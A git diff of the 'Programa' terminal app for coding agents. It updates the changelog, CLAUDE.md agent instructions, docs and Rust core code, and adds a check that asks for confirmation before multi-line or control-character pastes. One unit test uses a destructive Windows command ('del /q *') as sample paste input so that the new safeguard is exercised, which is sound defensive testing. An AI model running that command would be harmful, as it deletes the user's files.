supports named keys. +- The Rust core is no longer part of the macOS app; it serves the Windows app only. - Each workspace row now shows one agent indicator (Needs input, Working, or Idle) instead of the badge, status row, and notification text sometimes disagreeing with each other. It dims and shows "(stale)" after ten minutes with no update from the agent, and only clears when the agent itself reports it's resumed, not just from opening the workspace. +### Removed +- Browser socket methods that only ever answered `not_supported` (network routing, viewport emulation, raw input injection and similar) are gone; calling them is now an unknown-method error. +- The library-validation and unsigned-executable-memory entitlements. + ### Fixed - A window closed with the red button no longer comes back on the next launch. Since 0.5.0 a closed window was kept alive for Dock reopen and then saved and restored like a visible one, so every restart opened an extra window of stale workspaces. Closed windows now stay closed across a relaunch and their shells are ended at startup. diff --git a/CLAUDE.md b/CLAUDE.md index 52785415d..ad74b38b3 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -8,6 +8,14 @@ Run the setup script to initialize submodules and build GhosttyKit: ./scripts/setup.sh ``` +## Repository map + +- `Sources/`, `CLI/`, `CLI-MCP/`: the macOS app, the `programa` CLI and the MCP server (Swift). +- `contracts/v2/`: the socket API contract; it generates `Sources/V2CommandCatalog.swift` and `CLI/V2MethodNames.swift`. +- `core/`: the Rust shared core and `programad`, used by the Windows app only (the macOS app does not link it). `cd core && cargo test` (and the same in `core/crates/programa-terminal`) is the one test suite that runs locally. +- `windows/`: the WinUI 3 app, built by `scripts/build-windows.ps1` in the `windows-build` CI job. +- `vendor/bonsplit/`: vendored split/tab library (not a submodule). `ghostty/`: the Ghostty submodule. + ## Local dev After making code changes, always run the reload script with a tag to build the Debug app: @@ -123,7 +131,7 @@ tail -f "$(cat /tmp/programa-last-debug-log-path 2>/dev/null || echo /tmp/progra - Tagged Debug app (`./scripts/reload.sh --tag `): `/tmp/programa-debug-.log` - `reload.sh` writes the current path to `/tmp/programa-last-debug-log-path` - `reload.sh` writes the selected dev CLI path to `/tmp/programa-last-cli-path` -- `reload.sh` updates `/tmp/programa-cli` and `$HOME/.local/bin/programa-dev` to that CLI +- `reload.sh` updates `/tmp/programa-cli` and `$HOME/.local/bin/programa-dev` to that CLI. It does not put a `programa` command on `PATH`; `--install-shim` also writes a `programa` shim into the first writable `PATH` directory ahead of the installed app, which then shadows the installed CLI for every shell and agent hook until you delete it - Implementation: `vendor/bonsplit/Sources/Bonsplit/Public/DebugEventLog.swift` - Free function `dlog("message")` — logs with timestamp and appends to file in real time @@ -166,6 +174,17 @@ The app has a **Debug** menu in the macOS menu bar (only in DEBUG builds). Use i - **All user-facing strings must be localized.** Use `String(localized: "key.name", defaultValue: "English text")` for every string shown in the UI (labels, buttons, menus, dialogs, tooltips, error messages). Keys go in `Resources/Localizable.xcstrings` with translations for all supported languages (currently English and Japanese). Never use bare string literals in SwiftUI `Text()`, `Button()`, alert titles, etc. - **Shortcut policy:** Every new Programa-owned keyboard shortcut must be added to `KeyboardShortcutSettings`, visible/editable in Settings, supported in `~/.config/programa/settings.json`, and documented in the keyboard shortcut and configuration docs. +## CI gates + +These run in CI; run the relevant one before pushing: + +- `python3 scripts/check-structural-budgets.py`: line budgets for lifecycle owner files. `CLI/programa.swift`, `CLI/CLI+Hooks.swift`, `Sources/TerminalController.swift` and `Sources/CommandPaletteController.swift` sit at their cap, so free lines (or move code into a new file) before adding any. +- `scripts/check-v2-contract.sh`: v2 socket methods are contract-first. Edit `contracts/v2/methods.json`, then `python3 scripts/gen-v2-contract.py`; never hand-edit the generated Swift. +- `python3 scripts/check-settings-docs.py`: every settings key and shortcut action is documented. +- New Swift files need four `project.pbxproj` entries (PBXBuildFile, PBXFileReference, group child, Sources build phase) or the build fails with "cannot find type in scope". +- Every new chrome or overlay `NSHostingView` sets `safeAreaRegions = []`. +- Files that call `dlog` import `Bonsplit` and wrap the call in `#if DEBUG`. + ## Test quality policy - Do not add tests that only verify source code text, method signatures, AST fragments, or grep-style patterns. @@ -193,11 +212,16 @@ The app has a **Debug** menu in the macOS menu bar (only in DEBUG builds). Use i ## Testing policy -**Never run tests locally.** All tests (E2E, UI, python socket tests) run via GitHub Actions or on the VM. +**Never run tests locally.** All tests (E2E, UI, python socket tests) run via GitHub Actions or on the VM. The exceptions touch no app state: `cd core && cargo test` and `node --test scripts/*.test.js`. - **E2E / UI tests:** trigger `.github/workflows/test-e2e.yml` with `gh workflow run test-e2e.yml -f test_filter=`. Optional inputs: `-f ref=` (default: the current ref), `-f test_timeout=` (default 120), `-f record_video=true`, `-f runner=macos-26|macos-15|macos-14` (default `macos-15`). - **Unit tests:** run in CI. The `programa-unit` scheme is app-hosted: its default `TEST_HOST` is the untagged Debug app, which opens windows, starts shells and writes preferences, so never run it as is. The only local path is the tagged build-for-testing recipe in `docs/testing-layout.md` ("Running them"). -- **Python socket tests (tests_v2/):** these connect to a running Programa instance's socket. Never launch an untagged `Programa DEV.app` to run them. If you must test locally, use a tagged build's socket (`/tmp/programa-debug-.sock`) with `PROGRAMA_SOCKET=/tmp/programa-debug-.sock` +- **Python socket tests (tests_v2/):** these connect to a running Programa instance's socket. Never launch an untagged `Programa DEV.app` to run them. If you must test locally, point both socket variables at a tagged build's socket and drop the production ids; inside a Programa terminal `PROGRAMA_SOCKET_PATH` otherwise still targets the production app: + + ```bash + unset PROGRAMA_SOCKET; export PROGRAMA_SOCKET_PATH=/tmp/programa-debug-.sock PROGRAMA_SOCKET=/tmp/programa-debug-.sock + unset PROGRAMA_WORKSPACE_ID PROGRAMA_SURFACE_ID PROGRAMA_TAB_ID PROGRAMA_PANEL_ID + ``` - **Never `open` an untagged `Programa DEV.app`** from DerivedData. It conflicts with the user's running debug instance. ## Ghostty submodule workflow diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 709df111f..0bc2177ef 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -61,7 +61,7 @@ If you make changes to the ghostty submodule, rebuild the xcframework: ```bash cd ghostty -zig build -Demit-xcframework=true -Doptimize=ReleaseFast +zig build -Demit-xcframework=true -Demit-macos-app=false -Dxcframework-target=native -Doptimize=ReleaseFast ``` ## Running Tests @@ -84,36 +84,10 @@ gh workflow run ci.yml --ref my-feature -f notification_ui=true The `ghostty` submodule points to a fork of the upstream Ghostty project maintained by Darkroom Engineering. -### Making changes to ghostty - -```bash -cd ghostty -git checkout -b my-feature -# make changes -git add . -git commit -m "Description of changes" -git push origin my-feature -``` - -### Keeping the fork updated - -```bash -cd ghostty -git fetch origin -git checkout main -git merge origin/main -git push origin main -``` - -Then update the parent repo: - -```bash -cd .. -git add ghostty -git commit -m "Update ghostty submodule" -``` - -See `docs/ghostty-fork.md` for details on fork changes and conflict notes. +Ghostty changes follow [docs/ghostty-fork.md](docs/ghostty-fork.md): branch off the SHA the +parent repo pins (not off the fork's `main`, which is far ahead of the pin), push the branch to +the fork, then commit the new submodule pointer in the parent repo. Never merge the fork's +`main` into the submodule to update it. ## License diff --git a/README.md b/README.md index 90ee1a4e6..07b9075a7 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,8 @@ Run many coding agents in parallel and always know which one needs you. The features below describe the macOS app. A native Windows frontend using -WinUI 3 is in development, with shared core behavior and platform-native UI. +WinUI 3 is in development, built on a Rust shared core (`core/`) that the macOS +app does not use. See [Windows support](#windows-preview) and the [Windows testing guide](docs/windows-testing.md). @@ -42,13 +43,6 @@ More: named layouts (`programa layout save/apply`), a markdown viewer panel, ins Download Programa for macOS -or - -```bash -brew tap darkroomengineering/programa -brew install --cask programa -``` - The macOS app auto-updates. Every commit on `main` that passes CI advances the [rolling release](https://github.com/darkroomengineering/programa/releases/tag/rolling), which provides `programa-macos.dmg`. macOS ships independently of Windows: the @@ -68,10 +62,10 @@ reattaches to them live on the next launch. ### Windows preview -The Windows frontend uses WinUI 3 controls. macOS retains -its AppKit/SwiftUI interface. Workspace, tab, split, and session behavior belongs -in the shared core; each frontend handles its platform's rendering, input, -window management, and accessibility. +The Windows frontend uses WinUI 3 controls, and its workspace, tab, split, and +session state lives in the Rust shared core (`core/`). The macOS app keeps its +own AppKit/SwiftUI interface and Swift state model. Each frontend handles its +platform's rendering, input, window management, and accessibility. The Windows download is `programa-windows.exe` on the same [rolling release](https://github.com/darkroomengineering/programa/releases/tag/rolling) diff --git a/core/ABI.md b/core/ABI.md index 011d22172..03204fa6c 100644 --- a/core/ABI.md +++ b/core/ABI.md @@ -5,9 +5,8 @@ workspaces contain panes, panes contain ordered surfaces, and a recursive layout describes pane splits. The session_id is an opaque caller-owned identity. The core never owns PTY, renderer, or native UI handles. -The first macOS adapter seeds one existing pane, dispatches reorder_surface, -and projects the returned order onto existing Bonsplit tab objects. Full macOS -workspace and split lifecycle migration remains later work. +The Windows app consumes this ABI through `programa-ffi` +(`programa_core.dll`). The macOS app does not link the shared core. ## C API and ownership @@ -141,13 +140,12 @@ revision_overflow, serialization_error, internal_error, and panic. ## Process layer `programa-domain` (above) is a state model with no process of its own: it is -linked into whatever owns the window. Two things link it today, and they -share the same state model but not a process. +linked into whatever owns the window. Two things link it, and they share the +same state model but not a process. - **`programa-ffi`** wraps `programa-domain::Core` behind the C ABI documented - above and is statically linked into the macOS app (`libprograma_core.a`, - built by `scripts/build-shared-core.sh`). It runs in the app's own process, - on the app's own thread, with no IPC in the loop. + above and ships as `programa_core.dll` in the Windows app. It runs in the + app's own process, on the app's own thread, with no IPC in the loop. - **`programad`** (`core/crates/programad`, moved in from `darkroomengineering/programa-core`) is a separate headless process that owns PTYs, session write-ahead logs, and attach/detach/fd-handoff, and now @@ -188,10 +186,10 @@ for a surface to outlive its session (e.g. showing a "process exited" state in the pane instead of collapsing it), that's a `programa-domain` schema change, not a `programad` one. -**What remains:** the macOS app still runs its own in-process adapter -(`Sources/SharedWorkspaceCore.swift`) against `programa-ffi` rather than -`programad`'s socket, so today there are two live links to the same state -model and no single source of truth yet. Remote transport +**What remains:** the Windows app runs `programa-ffi` in process rather than +talking to `programad`'s socket, so there are two links to the same state +model and no single source of truth yet. The macOS app keeps its own Swift +workspace model and links neither. Remote transport (`core/docs/remote-transport.md`) and org mode (`docs/plans/rust-core-spike.md` "Reframe") are unimplemented; both build on `programad` owning the socket, not on anything `workspace.*` changes here. diff --git a/core/Cargo.lock b/core/Cargo.lock index 31ac03b6d..b5ccac080 100644 --- a/core/Cargo.lock +++ b/core/Cargo.lock @@ -11,12 +11,6 @@ dependencies = [ "memchr", ] -[[package]] -name = "anyhow" -version = "1.0.104" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" - [[package]] name = "autocfg" version = "1.5.1" @@ -258,7 +252,6 @@ dependencies = [ name = "programad" version = "0.1.0" dependencies = [ - "anyhow", "base64", "libc", "nix", @@ -267,7 +260,6 @@ dependencies = [ "serde", "serde_json", "tempfile", - "thiserror", "tokio", "tracing", "tracing-subscriber", diff --git a/core/Cargo.toml b/core/Cargo.toml index 7f1d26bc9..edf72d7f5 100644 --- a/core/Cargo.toml +++ b/core/Cargo.toml @@ -24,12 +24,11 @@ uuid = { version = "1.11", features = ["v4"] } base64 = "0.22" tracing = "0.1.41" tracing-subscriber = { version = "0.3.19", features = ["env-filter"] } -anyhow = "1.0.95" tempfile = "3.15" # programa-domain is linked into programad so the daemon and the in-process -# core (programa-ffi, consumed by the macOS app) share one state model. See -# core/docs/programad.md "Process layer". +# core (programa-ffi, consumed by the Windows app) share one state model. See +# core/ABI.md "Process layer". programa-domain = { path = "crates/programa-domain" } programa-proto = { path = "crates/programa-proto" } diff --git a/core/TERMINAL_ABI.md b/core/TERMINAL_ABI.md index c6c850d43..8bad899d2 100644 --- a/core/TERMINAL_ABI.md +++ b/core/TERMINAL_ABI.md @@ -80,6 +80,14 @@ removed first, so pasted text cannot close the bracket. Without bracketing the bytes are sent unchanged. Both calls return a scrolled-back view to the bottom. A zero length is valid and a null data pointer is accepted only with length 0. + bool programa_terminal_paste_needs_confirmation(session, const uint8_t *data, + size_t len); + +True when the program has not enabled bracketed paste and the text contains a +line break or another C0 control byte (tab excepted) or DEL, so pasting it +could run commands at once. The Windows app asks before pasting such text. +False for a null session or invalid data. + bool programa_terminal_application_cursor(session); True while the program has enabled application cursor keys (DECCKM), so the @@ -92,8 +100,10 @@ caller sends ESC O A instead of ESC [ A for the arrow keys. int32_t programa_terminal_scroll(session, int32_t lines); int32_t programa_terminal_scroll_to_bottom(session); -Resize applies the same bounds as create and informs the PTY; a size equal to -the current one is a no-op. Scroll moves the viewport into scrollback by lines +Resize checks the same limits as create but does not raise small values: fewer +than 2 columns or rows, or a zero cell size, returns INVALID_ARGUMENT, where +create would raise it to the minimum. A valid size informs the PTY; a size +equal to the current one is a no-op. Scroll moves the viewport into scrollback by lines (positive is toward older output). Scroll to bottom returns to the live screen. ## Snapshot and change notification diff --git a/core/crates/programa-ffi/src/lib.rs b/core/crates/programa-ffi/src/lib.rs index 57126aac7..0dd374223 100644 --- a/core/crates/programa-ffi/src/lib.rs +++ b/core/crates/programa-ffi/src/lib.rs @@ -260,4 +260,85 @@ mod tests { programa_core_destroy(core); } } + + unsafe fn error_code(buffer: ProgramaBuffer) -> String { + let json: serde_json::Value = serde_json::from_slice(&take_buffer(buffer)).unwrap(); + json["error"]["code"].as_str().unwrap().to_owned() + } + + #[test] + fn ffi_call_contains_a_panic_as_a_structured_error() { + unsafe { + let mut output = ProgramaBuffer::default(); + let status = ffi_call(&mut output, || -> Result, ApiError> { + panic!("contained by the ABI boundary") + }); + assert_eq!(status, STATUS_ERROR); + assert_eq!(error_code(output), "panic"); + } + } + + #[test] + fn ffi_call_rejects_a_null_result_pointer() { + unsafe { + let status = ffi_call(std::ptr::null_mut(), || Ok(b"{}".to_vec())); + assert_eq!(status, STATUS_ERROR); + } + } + + #[test] + fn null_core_handle_is_an_invalid_argument_on_every_entry_point() { + unsafe { + let request = br#"{"command":"create_workspace","workspace_id":"w","pane_id":"p","surface_id":"s","session_id":"session"}"#; + let mut dispatch = ProgramaBuffer::default(); + assert_eq!( + programa_core_dispatch( + std::ptr::null_mut(), + request.as_ptr(), + request.len(), + &mut dispatch + ), + STATUS_ERROR + ); + assert_eq!(error_code(dispatch), "invalid_argument"); + + let mut snapshot = ProgramaBuffer::default(); + assert_eq!( + programa_core_snapshot(std::ptr::null_mut(), &mut snapshot), + STATUS_ERROR + ); + assert_eq!(error_code(snapshot), "invalid_argument"); + + programa_core_destroy(std::ptr::null_mut()); + } + } + + #[test] + fn buffer_free_accepts_null_and_owned_buffers_and_ignores_inconsistent_lengths() { + unsafe { + programa_core_buffer_free(ProgramaBuffer::default()); + + let core = programa_core_create(); + let mut snapshot = ProgramaBuffer::default(); + assert_eq!(programa_core_snapshot(core, &mut snapshot), STATUS_OK); + assert!(!snapshot.data.is_null()); + assert!(snapshot.len <= snapshot.capacity); + programa_core_buffer_free(snapshot); + programa_core_destroy(core); + + // len > capacity cannot come from this library, so the buffer is + // left alone rather than handed to the allocator. + let mut bytes = vec![7u8; 4]; + let data = bytes.as_mut_ptr(); + let capacity = bytes.capacity(); + std::mem::forget(bytes); + programa_core_buffer_free(ProgramaBuffer { + data, + len: capacity + 1, + capacity, + }); + let reclaimed = Vec::from_raw_parts(data, 4, capacity); + assert_eq!(reclaimed, vec![7u8; 4]); + } + } } diff --git a/core/crates/programa-terminal/src/lib.rs b/core/crates/programa-terminal/src/lib.rs index d77b61f3c..8b2fd87f5 100644 --- a/core/crates/programa-terminal/src/lib.rs +++ b/core/crates/programa-terminal/src/lib.rs @@ -518,6 +518,17 @@ fn paste_bytes(data: &[u8], requested: bool, mode: &TermMode) -> Vec { output } +/// True when pasting `data` unbracketed could run commands the user did not +/// see: the program has not enabled bracketed paste and the text holds a line +/// break or another C0 control byte (tab excepted). Frontends confirm before +/// pasting such text. +fn paste_needs_confirmation(data: &[u8], mode: &TermMode) -> bool { + !mode.contains(TermMode::BRACKETED_PASTE) + && data + .iter() + .any(|byte| matches!(byte, 0x00..=0x08 | 0x0a..=0x1f | 0x7f)) +} + fn lock(mutex: &Mutex) -> std::sync::MutexGuard<'_, T> { mutex .lock() @@ -929,6 +940,25 @@ pub unsafe extern "C" fn programa_terminal_paste( }) } +#[no_mangle] +pub unsafe extern "C" fn programa_terminal_paste_needs_confirmation( + value: *mut ProgramaTerminalSession, + data: *const u8, + len: usize, +) -> bool { + catch_unwind(AssertUnwindSafe(|| { + let Ok(value) = session(value) else { + return false; + }; + let Ok(data) = bytes(data, len) else { + return false; + }; + let mode = *value.term.lock().mode(); + paste_needs_confirmation(data, &mode) + })) + .unwrap_or(false) +} + #[no_mangle] pub unsafe extern "C" fn programa_terminal_is_terminated( value: *mut ProgramaTerminalSession, @@ -1049,6 +1079,22 @@ mod tests { assert_eq!(out.windows(6).filter(|w| *w == b"\x1b[201~").count(), 1); } + #[test] + fn unbracketed_multi_line_or_control_paste_needs_confirmation() { + let plain = TermMode::empty(); + assert!(!paste_needs_confirmation(b"echo hello", &plain)); + assert!(!paste_needs_confirmation(b"a\tb", &plain)); + assert!(!paste_needs_confirmation(b"", &plain)); + assert!(paste_needs_confirmation(b"dir\r\ndel /q *\r\n", &plain)); + assert!(paste_needs_confirmation(b"ls\n", &plain)); + assert!(paste_needs_confirmation(b"a\x1b[201~b", &plain)); + assert!(paste_needs_confirmation(b"a\x7fb", &plain)); + assert!(!paste_needs_confirmation( + b"dir\r\ndel /q *\r\n", + &TermMode::BRACKETED_PASTE + )); + } + #[test] fn dimensions_are_bounded_before_grid_allocation() { let size = |cols, lines| TermSize { diff --git a/core/crates/programad/Cargo.toml b/core/crates/programad/Cargo.toml index a49d274b9..45e71abd1 100644 --- a/core/crates/programad/Cargo.toml +++ b/core/crates/programad/Cargo.toml @@ -20,8 +20,6 @@ uuid.workspace = true base64.workspace = true tracing.workspace = true tracing-subscriber.workspace = true -anyhow.workspace = true -thiserror.workspace = true # nix and libc back PTYs, SCM_RIGHTS fd handoff, and file-mode/flock calls # that only exist on Unix (src/pty.rs, src/fdpass.rs, src/session.rs, diff --git a/core/crates/programad/src/pty.rs b/core/crates/programad/src/pty.rs index ca18d3d8d..085702681 100644 --- a/core/crates/programad/src/pty.rs +++ b/core/crates/programad/src/pty.rs @@ -18,7 +18,6 @@ use std::path::Path; use std::process::{Child, Command, Stdio}; use nix::pty::{openpty, OpenptyResult}; -use nix::sys::termios; /// Serializes descriptor creation that cannot request CLOEXEC atomically on /// every supported Unix platform with every `Command::spawn` fork window. @@ -170,15 +169,3 @@ fn set_nonblocking(fd: &OwnedFd) -> io::Result<()> { fcntl(raw, FcntlArg::F_SETFL(flags)).map_err(io::Error::from)?; Ok(()) } - -/// Put the master fd's underlying termios in a sane default state. Not -/// currently exercised by callers (the slave/child sets its own raw/cooked -/// mode as usual); kept as a documented no-op hook because several v1 -/// escrow-poc notes call this out as an easy place for future echo/flow -/// control bugs to hide. -#[allow(dead_code)] -fn ensure_default_termios(fd: &OwnedFd) -> io::Result<()> { - let attrs = termios::tcgetattr(fd).map_err(io::Error::from)?; - termios::tcsetattr(fd, termios::SetArg::TCSANOW, &attrs).map_err(io::Error::from)?; - Ok(()) -} diff --git a/core/crates/programad/src/server.rs b/core/crates/programad/src/server.rs index c743ecb74..a77a7c7d5 100644 --- a/core/crates/programad/src/server.rs +++ b/core/crates/programad/src/server.rs @@ -26,13 +26,13 @@ pub struct AppState { /// / `auth_unconfigured` codes). pub password: Option, /// The shared state model from `programa-domain`, the same crate the - /// in-process macOS core links via `programa-ffi` (`core/ABI.md`). PTYs + /// Windows app links in process via `programa-ffi` (`core/ABI.md`). PTYs /// stay in `sessions` above; this only tracks workspaces, panes, /// surfaces, layout, and selection. A domain surface that is a terminal /// carries a `session_id` that names a session in `sessions`, but the /// two are otherwise independent: closing this lock never blocks on /// session I/O and vice versa. See `workspace_dispatch` below and - /// `core/docs/programad.md` "Process layer" for the reconciliation rule + /// `core/ABI.md` "Process layer" for the reconciliation rule /// applied on `session.close` and when a session's child exits. pub domain: Mutex, } diff --git a/core/crates/programad/tests/integration.rs b/core/crates/programad/tests/integration.rs index c73572b94..a4ae86092 100644 --- a/core/crates/programad/tests/integration.rs +++ b/core/crates/programad/tests/integration.rs @@ -413,7 +413,7 @@ async fn full_session_lifecycle_survives_client_disconnect() { } /// `workspace.*` links `programa-domain`'s state model into the daemon -/// socket (core/docs/programad.md "Process layer"): a client opens a +/// socket (core/ABI.md "Process layer"): a client opens a /// session (a PTY), creates a workspace whose one pane holds a surface /// referencing that session, confirms `workspace.snapshot` reflects it, then /// closes the session and confirms the surface is gone. "Gone" (not a diff --git a/core/docs/programad.md b/core/docs/programad.md index 10d9ed324..f578cb3d3 100644 --- a/core/docs/programad.md +++ b/core/docs/programad.md @@ -64,7 +64,10 @@ methods except `auth.login` require successful authentication on that connection. Columns and rows must be integers from 1 through 65535. `session.read.max_len` -is capped at 1 MiB, as is decoded `session.write.data`. `session.close` defaults +is capped at 1 MiB, as is decoded `session.write.data`. `session.write` makes +one non-blocking write to the PTY and returns `{"written": n}`; `n` can be +smaller than the decoded data, and is 0 when the PTY input buffer is full, so +a client resends the bytes after `n` until all are written. `session.close` defaults to terminating the child; `kill:false` is rejected because dropping daemon PTY ownership cannot truthfully preserve the process. Close sends `SIGHUP`; if the child has not exited after 500 ms, the request diff --git a/docs/README.md b/docs/README.md index aea2b8afc..30675e695 100644 --- a/docs/README.md +++ b/docs/README.md @@ -13,7 +13,7 @@ ## Automation and agents -- [socket-api.md](socket-api.md): the control socket, its security model, discovery, and every method. +- [socket-api.md](socket-api.md): the control socket, its security model, discovery, and the core methods; the full method list is `contracts/v2/methods.json`. - [mcp-server.md](mcp-server.md): the MCP server and its tools. - [agent-skill.md](agent-skill.md): the installable agent skill. - [agent-detection-manifests.md](agent-detection-manifests.md): the manifest format for screen-based agent detection. diff --git a/docs/agent-skill.md b/docs/agent-skill.md index dc7931e22..d7461115a 100644 --- a/docs/agent-skill.md +++ b/docs/agent-skill.md @@ -32,7 +32,7 @@ The first thing the skill does is check `PROGRAMA_SURFACE_ID` and `PROGRAMA_SOCK - **Splitting and running without stealing focus** — `new-split` / `new-pane` / `new-surface` create UI without moving the user's cursor; `send` / `send-key` / `send-panel` / `send-key-panel` run commands in another pane the same way. Only `focus-pane`, `focus-window`, `focus-panel`, `select-workspace`, and the `next/previous/last-window` triad actually move focus — see the socket focus policy in the root `CLAUDE.md`. - **Reading a sibling pane** — `read-screen` (alias `capture-pane`), with `--scrollback`/`--lines` for history beyond the visible viewport. - **Spawning and coordinating a helper agent** — split, `send` a command like `claude ...` into the new surface, then read its output and answer it the same way you'd talk to any other pane. `set-status` and `notify` report progress through the sidebar instead of a pane the user isn't looking at. -- **Waiting** — `wait-surface` gives a server-owned blocking wait on a surface: `--pattern ` resolves when new output matches, `--exit` when the process exits, both with `--timeout`. Waiting on *agent state* (idle/working/blocked) is implemented too — the underlying `surface.wait` socket method takes an `agent_state` condition (see `docs/socket-api.md`), and `prompt-agent` is built directly on it to send a prompt and wait for the agent to go idle again. The tmux-compatible `wait-for` / `wait-for -S` named-signal rendezvous covers two cooperating processes. +- **Waiting**: `wait-surface` gives a server-owned blocking wait on a surface: `--pattern ` resolves when new output matches, `--exit` when the process exits, and `--agent-state ` when the agent in it reaches that state (the `surface.wait` `agent_state` condition, see `docs/socket-api.md`), each with `--timeout`. If the surface closes first, the wait ends with the `closed` outcome. `prompt-agent` is built on the same condition to send a prompt and wait for the agent to go idle again. The tmux-compatible `wait-for` / `wait-for -S` named-signal rendezvous covers two cooperating processes. - **Authoring screen-detection manifests for an unsupported agent** — programa's agent-state detection reads a pane's own lifecycle hooks when available (Claude Code, Codex, OpenCode), and otherwise falls back to regex-matching visible screen text against a manifest. For any other agent, `programa agent-detection scaffold ` captures the current screen and writes a starter manifest to `~/.config/programa/agent-detection/.json`; fill in its `patterns` arrays, then `programa agent-detection test ` to check them against the live screen. `programa agent-detection list` shows every loaded manifest (bundled + your overrides). - **Reporting a normalized lifecycle event** — `programa agent-event --event [--provider

] [--session-id ] [--workspace ] [--surface ]` reports one of the structured events documented in `docs/plans/agent-events.md` (`session.started`, `turn.started`, `request.opened`, `user-input.requested`, `turn.completed`, `session.exited`, and the rest) instead of a bare `working`/`blocked`/`idle` string. It's what the shipped Claude Code/Codex/OpenCode hooks call internally; use it directly only if you're wiring a new provider's hook or testing the event path by hand — reach for `set-status` for everything else. - **Writing a recap** — when the user asks for a summary of a change, write markdown to `.programa/recaps/.md` and open it with `programa recap open ` (`programa recap list` shows what's saved). The markdown panel renders mermaid diagrams, GitHub-style alerts, and `:::compare` before/after blocks, so the skill tells the agent to reach for those instead of plain prose when they fit. diff --git a/docs/aside-browser.md b/docs/aside-browser.md index 82ede5b58..c07deea29 100644 --- a/docs/aside-browser.md +++ b/docs/aside-browser.md @@ -26,8 +26,8 @@ programa browser --surface surface:7 tab close Over MCP, the same methods are the `browser_*` tools in `programa-mcp` (`browser_open_split`, `browser_navigate`, `browser_snapshot`, `browser_get_text`, `browser_screenshot`, -`browser_console_list`, and so on). A few Playwright-shaped tools (network routing, viewport, -raw input injection) return `not_supported` because WKWebView has no DevTools Protocol. Only the three `focus_browser_*` tools move focus; +`browser_console_list`, and so on). Playwright-shaped tools for network routing, viewport +emulation and raw input injection do not exist: WKWebView has no DevTools Protocol to drive them. Only the three `focus_browser_*` tools move focus; everything else leaves the user where they are. See [mcp-server.md](mcp-server.md) for the full list and the setup. diff --git a/docs/environment-variables.md b/docs/environment-variables.md index eb3d92da4..cad2e1886 100644 --- a/docs/environment-variables.md +++ b/docs/environment-variables.md @@ -1,8 +1,11 @@ # Environment variables -Every `PROGRAMA_*` and `PROGRAMAD_*` variable that Programa's app, CLI, MCP server, shell -integration, scripts and daemon read or set. Variables marked "Debug builds" are compiled out of -Release builds. +The user-facing `PROGRAMA_*` and `PROGRAMAD_*` variables that Programa's app, CLI, MCP server, +shell integration, scripts and daemon read or set. Variables marked "Debug builds" are compiled out +of Release builds. Internal hand-offs between Programa's own processes and scripts (for example +`PROGRAMA_ZSH_RESTORE_TERM`, `PROGRAMA_RELOAD_LOCK_FD`, the `PROGRAMA_TEST_*` and +`PROGRAMA_LAG_*` test knobs) are not listed; they are not a stable interface. +`PROGRAMA_ISSUE_483_PORTAL_RECOVERY` is a Swift compile-time flag, not an environment variable. ## Set in every Programa terminal @@ -102,16 +105,16 @@ The standalone daemon in `core/` is described in `core/docs/programad.md`. | `PROGRAMAD_PASSWORD` | Requires `auth.login` with this password. `--password-file PATH` is the file-based alternative. | `PROGRAMAD_AUTH_TOKEN`, `PROGRAMA_SOCKET_PASSWORD` and `PROGRAMA_SOCKET_AUTH_TOKEN` are removed -from the environment of every child process the daemon starts. `PROGRAMAD_UNIX_PATH`, -`PROGRAMAD_SOCKET` and `PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD` are set or cleared by -`scripts/reload.sh`, `scripts/reloads.sh`, `scripts/launch-tagged-automation.sh` and the shell -integration, but no app, CLI or daemon code reads them. +from the environment of every child process the daemon starts. The shell integration clears +`PROGRAMAD_UNIX_PATH` and `PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD` from the shell environment; +no app, CLI or daemon code reads them. ## Build, reload and CI scripts | Variable | Read by | Meaning | |---|---|---| -| `PROGRAMA_SKIP_ZIG_BUILD` | `reload.sh`, `build-ghostty-cli-helper.sh` | `1` skips the Zig builds. | +| `PROGRAMA_SKIP_ZIG_BUILD` | `reload.sh`, `build-ghostty-cli-helper.sh` | `1` skips the Zig builds and bundles a stub Ghostty CLI helper. The CI unit-test shards set it. | +| `ZIG_DIST_CACHE_DIR`, `ZIG_INSTALL_ROOT` | `install-zig.sh` | Where the checksum-verified zig tarball is kept (default `~/.cache/programa-zig-dist`, cached by CI) and where it is extracted (default `~/.local/share/programa-zig`). | | `PROGRAMA_ENSURE_GHOSTTYKIT_COMMAND` | `reload.sh`, `reloadp.sh`, `reloads.sh` | Command to run instead of `scripts/ensure-ghosttykit.sh`. | | `PROGRAMA_GHOSTTYKIT_CACHE_DIR` | `ensure-ghosttykit.sh` | GhosttyKit cache folder. Default `~/.cache/programa/ghosttykit`. | | `PROGRAMA_GHOSTTYKIT_LOCK_TIMEOUT`, `PROGRAMA_GHOSTTYKIT_LOCK_POLL_INTERVAL` | `ensure-ghosttykit.sh` | Seconds to wait for the cache lock (default 300) and between polls (default 1). | diff --git a/docs/keyboard-shortcuts.md b/docs/keyboard-shortcuts.md index a77f3cf3d..b1ab95352 100644 --- a/docs/keyboard-shortcuts.md +++ b/docs/keyboard-shortcuts.md @@ -109,17 +109,18 @@ All, Needs input, and Failed filters or search by workspace/agent name to find a | ⌘ ⇧ N | New window | | ⌃ ⌘ F | Toggle full screen | | ⌥ ⌘ F | Send feedback | -| ⌃ ⌘ W | Hide window, keeping its sessions running | +| ⌃ ⌘ W | Close Window | | ⌘ ⇧ P | Command palette | | ⌘ , | Settings | | ⌘ ⇧ , | Reload configuration | | ⌘ Q | Quit | -Closing a window with its red button or Close Window keeps its workspaces and terminal -processes running. Click Programa in the Dock to reopen it. When no main window is -visible, New Window and New Workspace reopen the most recently closed window first. -Close Surface and Close Workspace still end the selected session; quitting the app -uses session recovery on the next launch rather than keeping every process running. +Closing a window with its red button or Close Window ends its workspaces and their +terminal processes. When any workspace in the window has a running process, Programa +asks first, with the same confirmation as closing the last workspace. The socket +method `window.close` closes without asking. Close Surface and Close Workspace end the +selected session. Quitting is different: the next launch restores the windows that +were open at quit from session data. ## Review diff --git a/docs/mcp-server.md b/docs/mcp-server.md index b65fcb388..bdb3a3709 100644 --- a/docs/mcp-server.md +++ b/docs/mcp-server.md @@ -78,7 +78,7 @@ back. ## Tools -187 tools, named after the socket method they call, with `.` 